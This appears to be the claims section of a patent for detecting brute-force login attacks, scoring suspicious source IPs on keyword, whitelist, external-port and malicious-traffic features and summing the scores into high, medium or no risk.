1. A brute force cracking detection method, characterized in that: The brute force cracking detection method comprises the following steps: Obtain suspicious source IP addresses whose number of consecutive failed logins to the management service of the local machine reaches a preset number threshold within a sliding time window of a preset length; Acquire dimensional features of the suspicious source IP address, where the dimensional features of the suspicious source IP address include keyword features, whitelist features, external network features, and traffic features; If the keyword feature of the suspicious source IP address is that the log information of the suspicious source IP address does not include the preset keyword, then the dimensional risk level of the keyword feature of the suspicious source IP address is the first level; If the keyword feature of the suspicious source IP address is that the log information of the suspicious source IP address includes a preset keyword, the dimensional risk level of the keyword feature of the suspicious source IP address is the second level, and the first level is less than the second level; If the whitelist feature of the suspicious source IP address is that the suspicious source IP address hits the preset IP whitelist, the dimensional risk level of the whitelist feature of the suspicious source IP address is the first level; If the whitelist feature of the suspicious source IP address is that the suspicious source IP address does not hit the preset IP whitelist, the dimensional risk level of the whitelist feature of the suspicious source IP address is the second level, and the first level is less than the second level; If the external network feature of the suspicious source IP address is that the suspicious source IP address does not have an external network access port, the dimensional risk level of the external network feature of the suspicious source IP address is the first level; If the external network feature of the suspicious source IP address is that the suspicious source IP address has an external network access port, the dimensional risk level of the external network feature of the suspicious source IP address is the second level, and the first level is lower than the second level; If the traffic feature of the suspicious source IP address is that the suspicious source IP address has not been attacked by malicious traffic within a preset period of time, the dimensional risk level of the traffic feature of the suspicious source IP address is the first level; If the traffic feature of the suspicious source IP address is that the suspicious source IP address is attacked by malicious traffic within a preset detection time, the dimensional risk level of the traffic feature of the suspicious source IP address is the second level, and the first level is less than the second level; According to the sum of the dimensional risk levels of the various dimensional features of the suspicious source IP address, determine whether the login behavior of the suspicious source IP address is a brute force cracking behavior.

2. The brute force cracking detection method according to claim 1, characterized in that: The step of determining whether the login behavior of the suspicious source IP address is a brute force cracking behavior according to the sum of the dimensional risk levels of the dimensional features of the suspicious source IP address includes: If the sum of the dimensional risk levels of the various dimensional features of the suspicious source IP address is greater than or equal to the first preset level threshold, it is determined that the login behavior of the suspicious source IP address is a high-risk brute force cracking behavior; If the sum of the dimensional risk levels of the dimensional features of the suspicious source IP address is greater than the second preset level threshold and less than the first preset level threshold, it is determined that the login behavior of the suspicious source IP address is a medium-risk brute force cracking behavior, and the first preset level threshold is greater than the second preset level threshold; If the sum of the dimensional risk levels of the dimensional features of the suspicious source IP address is less than or equal to the second preset level threshold, it is determined that the login behavior of the suspicious source IP address is not a brute force cracking behavior; After the step of determining whether the login behavior of the suspicious source IP address is a brute force cracking behavior, the method further includes: If it is determined that the login behavior of the suspicious source IP address is a high-risk brute force cracking behavior, an alarm operation is performed.

3. A brute force attack detection system, characterized in that: The brute force detection system comprises: An IP address acquisition module is used to acquire suspicious source IP addresses whose consecutive failed logins to the management service of the local machine reach a preset number threshold within a sliding time window of a preset length; A dimensional feature acquisition module, used to acquire dimensional features of the suspicious source IP address, wherein the dimensional features of the suspicious source IP address include keyword features, whitelist features, external network features, and traffic features; A behavior determination module, used for: if the keyword feature of the suspicious source IP address is that the log information of the suspicious source IP address does not include a preset keyword, then the dimensional risk level of the keyword feature of the suspicious source IP address is the first level; if the keyword feature of the suspicious source IP address is that the log information of the suspicious source IP address includes a preset keyword, then the dimensional risk level of the keyword feature of the suspicious source IP address is the second level, and the first level is less than the second level; if the whitelist feature of the suspicious source IP address is that the suspicious source IP address hits the preset IP whitelist, then the dimensional risk level of the whitelist feature of the suspicious source IP address is the first level; if the whitelist feature of the suspicious source IP address is that the suspicious source IP address does not hit the preset IP whitelist, then the dimensional risk level of the whitelist feature of the suspicious source IP address is the second level, and the first level is less than the second level; if the external network feature of the suspicious source IP address is that the suspicious source IP If the address does not have an external network access port, the dimensional risk level of the external network characteristics of the suspicious source IP address is the first level; if the external network characteristic of the suspicious source IP address is that the suspicious source IP address has an external network access port, the dimensional risk level of the external network characteristics of the suspicious source IP address is the second level, and the first level is less than the second level; if the traffic characteristic of the suspicious source IP address is that the suspicious source IP address has not been attacked by malicious traffic within a preset time period, the dimensional risk level of the traffic characteristics of the suspicious source IP address is the first level; if the traffic characteristic of the suspicious source IP address is that the suspicious source IP address has been attacked by malicious traffic within a preset detection time period, the dimensional risk level of the traffic characteristics of the suspicious source IP address is the second level, and the first level is less than the second level; determine whether the login behavior of the suspicious source IP address is a brute force cracking behavior based on the sum of the dimensional risk levels of each dimensional characteristic of the suspicious source IP address.

4. A brute force detection device, characterized in that: The brute force attack detection device comprises: a memory, a processor, and a brute force attack detection program stored in the memory and executable on the processor, wherein the brute force attack detection program implements the steps of the brute force attack detection method according to any one of claims 1 to 2 when executed by the processor.

5. A computer storage medium, characterized in that: The computer storage medium stores a brute force attack detection program, which, when executed by a processor, implements the steps of the brute force attack detection method according to any one of claims 1 to 2.

Images